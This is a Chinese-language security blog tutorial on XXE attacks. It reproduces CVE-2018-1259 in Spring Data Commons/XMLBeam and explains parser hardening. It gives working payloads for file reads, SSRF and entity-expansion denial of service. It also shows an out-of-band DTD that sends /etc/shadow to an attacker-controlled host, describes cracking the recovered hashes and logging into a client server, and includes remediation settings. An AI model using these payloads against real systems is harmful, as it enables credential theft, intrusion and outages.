XXE萌新進階全攻略

首先聲明下本文爲萌新向,旨在讓剛接觸XXE基本概念的小夥伴們可以熟練運用高階的XXE攻擊。本文涉及層面包括概念講解、代碼審計、漏洞復現、漏洞利用、工具使用、安全開發,無論你是開發人員還是滲透工程師,都可以在這裏拿到你想要的。

在滲透領域、XXE相對來講入門門檻是偏高的,網上的各類XXE教程對於大牛還好,但對於一些零開發基礎的小夥伴來講,着實不太友好,所以我希望通過從最基礎的理論着手,爲大家建立一個健全易懂的XXE漏洞復現,結合代碼審計,更好的幫助大家更好的攻克這個點。

代碼審計涉及漏洞:

XML Entity Expansion Injection (XML實體擴展注入)

XML External Entity Injection (XML外部實體注入)

基本概念

在展開講XXE之前,我們必須得了解些基礎概念,因爲本文重點爲XXE,關於XML學習未提到的部分大家可以參照參考資料自我拓展。

XML

XML 指可擴展標記語言(eXtensible Markup Language)。
方便大家理解,這裏與HTML對比着給大家說一下:HTML和XML 爲不同的目的而設計,HTML 被設計用來顯示數據,其焦點是數據的外觀。XML 被設計用來傳輸和存儲數據,其焦點是數據的內容。HTML 旨在顯示信息,而 XML 旨在傳輸信息。

DTD

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。
DTD的聲明:指XML文檔中聲明該文檔的DTD或DTD來源的部分,可以包含在使用它的XML文檔內部,也可以以獨立的DTD文檔(*.dtd)文檔存在。

所以DTD一般認爲有兩種引用或聲明方式:

1、內部DTD:即對XML文檔中的元素、屬性和實體的DTD的聲明都在XML文檔中。
2、外部DTD:即對XML文檔中的元素、屬性和實體的DTD的聲明都在一個獨立的DTD文件(.dtd)中。
(網上有提到的引用公共DTD其實也算外部引用DTD的一種)

XML基本文檔結構

<!--XML聲明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,這部分可選的-->          
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文檔元素-->                                                                          
<foo>&xxe;</foo>

XXE的復現

說起最近比較火的XXE,不得不提2018年出現的spring中出現的XXE漏洞【CVE-2018-1259】,今天就拿它來開刀吧。

Spring Data Commons, versions 1.13 prior to 1.13.12 and 2.0 prior to 2.0.7, used in combination with XMLBeam 1.4.14 or earlier versions, contains a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion. An unauthenticated remote malicious user can supply specially crafted request parameters against Spring Data’s projection-based request payload binding to access arbitrary files on the system.

從官方的描述中我們可以看到,此漏洞主要出現在XMLbeam1.4.14之前的版本,同時要求Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本,目前idea默認選擇的spring boot2.1.1版本漏洞已修復,我們可以看到默認的Spring Data Commons版本爲2.1.0以上。

image.png

spring boot默認庫

image.png

spring boot 2.1.1數據包報錯

image.png

spring boot 2.1.1調試報錯

顯然,這是因爲spring boot 2.1.1默認禁用了DTD。

我們嘗試降低spring-data-commons版本,以便漏洞正常復現,直接修改pom文件,藉助maven自動解決依賴問題。

image.png

配置pom文件

在這裏說點經驗之談,我對不同版本進行了嘗試,不知道是不是個人原 因,我發現版本並沒有按照官方提到的那樣精確,比如這裏如果spring-data-commons採用2.0.6版本, XMLBeam採用1.4.13版本,你會發現DTD依然是被禁止的。所以本次漏洞復現我選擇了spring-data-commons2.0.6+ XMLBeam1.4.14的組合。

然後我們在springboot中簡單的寫個小功能,操作過程打算使用burpsuite復現,那就不寫前端頁面啦~

核心代碼如下,用來接收通過XML提交的兩個數據:firstname/lastname

public interface UserPayload {

        @XBRead("//firstname")
        @JsonPath("$..firstname")
        String getFirstname();

        @XBRead("//lastname")
        @JsonPath("$..lastname")
        String getLastname();
    }

springboot不愧爲新一代的懶人框架,簡單的調整下入口文件,小程序完美啓動~

image.png

完美啓動

我們先來構造一個正常的XML文檔~

<?xml version="1.0" encoding="UTF-8"?>
<user><firstname>rabbit</firstname><lastname>666</lastname></user>

image.png

程序正常,over

然後我們來構造一個引用特殊的payload,增加DTD,爲了演示效果,我們在C盤下新建一個txt文件。

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///c:/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

image.png

實現訪問資源

試着來訪問下系統文件:

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

image.png

訪問系統文件

XXE的利用

這時候,我們不禁要問了,XXE漏洞究竟能用來做什麼?

任意文件讀取

這裏,我們就不重複了,說到底,這是XXE最基本的使用方式,我們上面也一直體現了這一點。

SSRF

SSRF(Server-Side Request Forgery:服務器端請求僞造),說白了就是藉助漏洞實現內網探測,我在80端口的網站下臨時放了我們剛剛的測試文件,簡單修改下payload:

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

當然啦,這裏的127.0.0.1可以替換成任意你想要的內網地址,我們就可以藉此實現對內網的探測。

image.png

SSRF

DOS攻擊

看到這裏會不會虎軀一震,這丫怎麼會?繼續看

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此測試可以在內存中將小型 XML 文檔擴展到超過 3GB 而使服務器崩潰。
亦或者,如果目標是UNIX系統,

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器嘗試使用 /dev/random 文件中的內容來替代實體,則此示例會使服務器(使用 UNIX 系統)崩潰。

遠程命令執行

這種情況很少見,並不是傳統意義上的任意命令執行,只是因爲環境的特殊配置,導致XML與某些命令操作關聯,進而造成了命令執行。當PHP環境中的 PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上,就會造成我們說的這種情況,在這裏,我們不做展開講解。

修復建議

對 XML 解析器進行安全配置,使它不允許將外部實體包含在傳入的 XML 文檔中。不管是上面語言,抑或是使用了市面是哪種主流XML解析方案,最終的解決方案都可以如此借鑑:
爲了避免 XXE injections,應爲 XML 代理、解析器或讀取器設置下面的屬性:

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

如果不需要 inline DOCTYPE 聲明,可使用以下屬性將其完全禁用,這種方式顯然更直接,我們搭建環境中一直在吐槽DTD被禁用,就是這個意思,DOCTYPE被禁,也就禁掉了DTD的根本:

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

說到這裏你可能會突然提到一個問題,emmmm,那XMLbeam的XXE漏洞是如何修復的呢?
我給大家找到了XMLbeam1.4.14和1.4.15中的createDocumentBuilderFactory()函數方便大家做下對比:

image.png

配置文件路徑

#####1.4.14
    public DocumentBuilderFactory createDocumentBuilderFactory() {
        DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance();
        if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) {
            instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy));
        }

        return instance;
    }
#####1.4.15
    public DocumentBuilderFactory createDocumentBuilderFactory() {
        DocumentBuilderFactory instance = DocumentBuilderFactory.newInstance();
        instance.setXIncludeAware(this.isXIncludeAware);
        instance.setExpandEntityReferences(this.isExpandEntityReferences);
        if (!DefaultXMLFactoriesConfig.NamespacePhilosophy.AGNOSTIC.equals(this.namespacePhilosophy)) {
            instance.setNamespaceAware(DefaultXMLFactoriesConfig.NamespacePhilosophy.HEDONISTIC.equals(this.namespacePhilosophy));
        }

        return instance;
    }

後者設置了新的方法用於禁用DTD。

我們順便去找下官方提供的漏洞升級補丁,以方便理解。

下載地址:https://pan.baidu.com/s/161gWHgR6Dc7A-eSWe39ikg

然後我們在第106行處會看到如下配置,正是我們剛剛提到的解決方案。

private static final String NON_EXISTING_URL = "http://xmlbeam.org/nonexisting_namespace";
    private static final String[] FEATURE_DEFAULTS = new String[] { "http://apache.org/xml/features/disallow-doctype-decl#true", //
            "http://xml.org/sax/features/external-general-entities#false", //
            "http://xml.org/sax/features/external-parameter-entities#false", //
            "http://apache.org/xml/features/nonvalidating/load-external-dtd#false" };

XXE進階

我們通過之前的講解,大家可以稍微總結一下,要想實現XXE,基本上要具備兩個條件:1、支持DTD,2、數據可操控

前者是我們xxe的必須條件,暫且不談,但後者如果我們提交的數據並未通過返回包返回回來,我們也就看不到了。

對於這種數據無回顯的情況,我們引出OOB攻擊的概念,即數據外帶(Out of Band)。

我們可以像網上相關教程那樣,通過自己寫一個頁面用來接受目標服務器傳回的內容,但是實際測試效果並不穩定,在此本着萌新向、能懶則懶的正統思想給大家安利一個開源工具:xxeserve

https://github.com/joernchen/xxeserve

剛好最近項目碰上個非常好的實例,請原諒我打了厚厚的馬賽克來表達對客戶的尊重。

下圖是一個網站的登錄窗口,隨便嘗試登錄一下,發現用戶名密碼採用xml的格式進行上傳。

我們對登陸功能進行測試,嘗試了下DTD,發現沒有被禁掉!行動!

image.png

今日demo

我們使用正常邏輯進行嘗試!發現返回包並沒有存在可供我們操縱的任何數據。

image.png

正常邏輯

那麼,這裏我們的想法就是:服務器既然無法給我們回顯數據,我們能不能嘗試將已構造好的參數,通過例如HTTP的方式返回到我們看得到的地方?

於是,開始我們的OOB攻擊!

xxeserve是基於ruby開發的,如果懶於自己搭建ruby runingtime,那就丟了parrotsec / kali上吧。

這裏還有一個問題,就是我們的PC處於內網環境,如何正常接受返回的數據呢?

frp反向代理完美解決了我們的顧慮。

#frpc.ini
[xxe]
type = tcp
local_ip = 127.0.0.1
local_port = 2333
remote_port = 2333
#DTD
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://*.*.*.*:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>

運行xxeserve,在指定端口進行監聽:

image.png

xxeserve

發送構造好的payload,雖然發現xml解析錯誤的提示:

image.png

發送payload

但是,xxeserve卻成功監聽到了我們想要讀取的文件,如圖中的用戶hash:

image.png

xxeserve監聽

如果你要問這個漏洞有多麼可怕。

emmmmm,我們只是看到一個網站的登錄界面,然後在其它什麼也不知道的情況下,可以直接任意讀取該服務器上文件,如passwd、shadow等。

當然,此次項目中我們直接讀取到用戶hash併成功解密,直接登錄了該服務器,可謂順利。

*本文作者:rabbitmask,本文屬 FreeBuf原創獎勵計劃,未經許可禁止轉載。

rabbitmask

rabbitmask 2 篇文章 等級: 2

|

|

發表評論

已有 2 條評論

  • text  2019-01-25 回覆 1樓

     

    不錯不錯 :grin:

    亮了(0)

  • zoe  (3級)  2019-01-25 回覆 2樓

     

    一看到搞WEB的大神我知道惹不起,給大佬遞迷魂煙。順便磨一磨我的剁骨刀。